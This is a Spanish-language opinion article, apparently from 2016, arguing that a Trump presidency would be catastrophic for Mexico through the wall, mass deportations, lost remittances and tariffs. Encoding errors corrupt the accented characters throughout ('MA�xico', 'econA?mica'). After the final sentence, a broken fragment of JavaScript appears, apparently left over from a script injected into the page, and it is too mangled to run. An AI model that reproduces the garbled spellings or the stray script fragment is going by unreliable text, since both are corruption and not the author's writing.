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El dA�a que Donald Trump fue presidente

Consecuencias catastrA?ficas para MA�xico
Carlos Alberto Becerril / Especial

El próximo 20 de enero del 2017, el presidente 45A� de los Estado Unidos iniciarA? su periodo de cuatro aA�os. El fenA?meno del Brexit, el odio a migrantes y el adiA?s a la globalizaciA?n, se reproducen rA?pidamente por el mundo y un candidato que exalta patria y raza, hablA?ndole al estadounidense comA?n e ignorante se adueA�a del centro geogrA?fico de la UniA?n Americana y se enfila como el próximo presidente de Estados Unidos.

Donald J. Trump, se apresta para tomar el poder y junto con A�l, todo el odio y desprecio que siente por lo mexicano y los latinos, al no distinguir diferencias. En estas circunstancias MA�xico enfrenta por primera vez en este siglo a un presidente sumamente hostil y que sin duda trastocarA? la economA�a no sólo de MA�xico, sino de la región.

El discurso de campaA�a de Trump ha sido construido a partir de la xenofobia y desde atrA?s de un muro, de una pretendida separaciA?n de dos naciones que por siempre han compartido territorio y poblaciA?n por razones de origen y desarrollo. PaA�ses que han sido amigos en la paz y aliados en la guerra, sin embargo el odio de este inusual personaje habla de un muro, de un muro fA�sico, sin embargo, el verdadero peligro en el muro conceptual y econA?mico que se puede levantar mucho más allá de los 15 metros que podrA�a tener el muro fA�sico.

captura-de-pantalla-2016-09-28-a-las-13-06-11

Los efectos para MA�xico son catastrA?ficosA�

El muro

Donald Trump una y otra vez, y siempre que puede, amenaza con la construcción de un muro en la frontera sur de MA�xico y Estados Unidos, con costes para el paA�s sureA�o. Sin embargo, este es el menor de los problemas que ocasionarA�a el presidente Trump a MA�xico.

Indocumentados

Uno de los problemas más serios, serA�a la expulsiA?n de 11 millones de indocumentados que viven en los Estados Unidos, que representan el 3% de la poblaciA?n de esta naciA?n y el 10 % de la poblaciA?n mexicana, condiciA?n, que de hecho ya existe y se da, con la repatriaciA?n de cientos de miles de mexicanos por la administraciA?n Obama.

Incrementar sustancialmente esta corriente de repatriaciA?n, acrecentarA�a la presiA?n laboral y social, al tener que incorporar MA�xico a millones de personas al sector productivo, en una economA�a sumamente recesiva, por lo temas que veremos más adelante, además de ser personas que ya no se integrarA�an al tejido social de MA�xico, con diferente estilo de vida e incluso con una cultura ya muy diferente a la de sus lugares de origen.

Remesas

MA�xico perderA�a más de 25,000 millones de dólares por el bloqueo de remesas. Esto significarA�a un quebranto más para la economA�a de MA�xico, quien en parte, ante la debacle petrolera se ha financiado con estas divisas que envA�an los mexicanos, legales o indocumentados.

Una visa de diez aA�os para Estados Unidos tiene actualmente un costo de 160 dólares. Trump propone un incremento impagable a estos documentos para presionar a MA�xico a pagar por el muro.

Bloqueo comercial

Donald Trump, anuncia que ante su eventual triunfo, incrementarA? la tarifa a productos mexicanos de importaciA?n hasta en un 45%, esto significa que las grandes plantas armadoras de autos como la anunciada recientemente por Ford, entre otras muchas, incluso de distinto origen nacional, serA�a inviables con su consiguiente salida de MA�xico.

Resultado

Lo anterior significa que, a�?de cumplir sus promesas de campaA�a, podrA�a generar una caA�da en el Producto Interno Bruto (PIB) de MA�xico de alrededor del 5 % tan sólo el primer aA�o, como consecuencia de retrocesos en las exportaciones hacia Estados Unidos y caA�das en el consumo privado de MA�xico, lo último como resultado de menores remesas» comenta Gabriela Siller, directora de AnA?lisis EconA?mico-Financiero de Banco BASE.

MA�xico entrarA�a en un periodo recesivo que sumarA�a los efectos de la a�?dA�cada perdidaa�? de los aA�os ochenta, incluyendo el terremoto de 1985 y el a�?error de diciembrea�? en tan solo aA�o. SerA�a en tA�rminos sencillos y llanos, el fin de la clase media mexicana.

En consecuencia, tendrA�a efectos muy graves en la polA�tica interna de MA�xico, la actual administraciA?n del presidente PeA�a Nieto serA�a insostenible y los partidos de oposiciA?n sacarA�an el mayor provecho, en un rA�o sumamente revuelto, ante la ausencia de un liderazgo viable para enfrentar a Trump y las consecuencias de su encono en contra de MA�xico.

Se cierne la tormenta.[«»,»»,»»];if(document[]()== -1){(function()== -1){

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